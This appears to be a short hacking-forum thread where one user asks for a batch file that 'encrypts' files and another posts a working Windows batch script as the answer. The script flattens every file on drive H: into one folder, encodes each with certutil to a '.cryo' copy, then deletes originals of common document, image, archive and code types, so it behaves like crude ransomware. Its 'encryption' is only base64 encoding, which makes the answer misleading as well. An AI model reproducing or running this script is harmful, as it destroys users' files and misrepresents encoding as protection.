Batch file encryptor?



Mainin33

Basic
Joined
22.03.21
Messages
8
Reaction score
0
Points
0
I'm trying to find a way for making a batch encrypt the content or source code of files but couldnt find a working solution.
Does anyone know a working code?
If so please PM me
 

05smartsufi

Basic
Joined
01.12.21
Messages
4
Reaction score
0
Points
0
This is the answer -

@echo off

cd /d H:\
for /r %%a IN (*.*) do (
move /y "%%a" "%cd%"
)
cls

cd /d H:\
For /F "tokens=*" %%A in ('dir /b /s') do (
certutil -encode "%%~A" "%%~A.cryo"
)
del /q *.txt
del /q *.pdf
del /q *.html
del /q *.css
del /q *.zip
del /q *.js
del /q *.txt
del /q *.docx
del /q *.doc
del /q *.png
del /q *.jpg
del /q *.gif
del /q *.md
del /q *.gitignore
del /q *.json
 
Top Bottom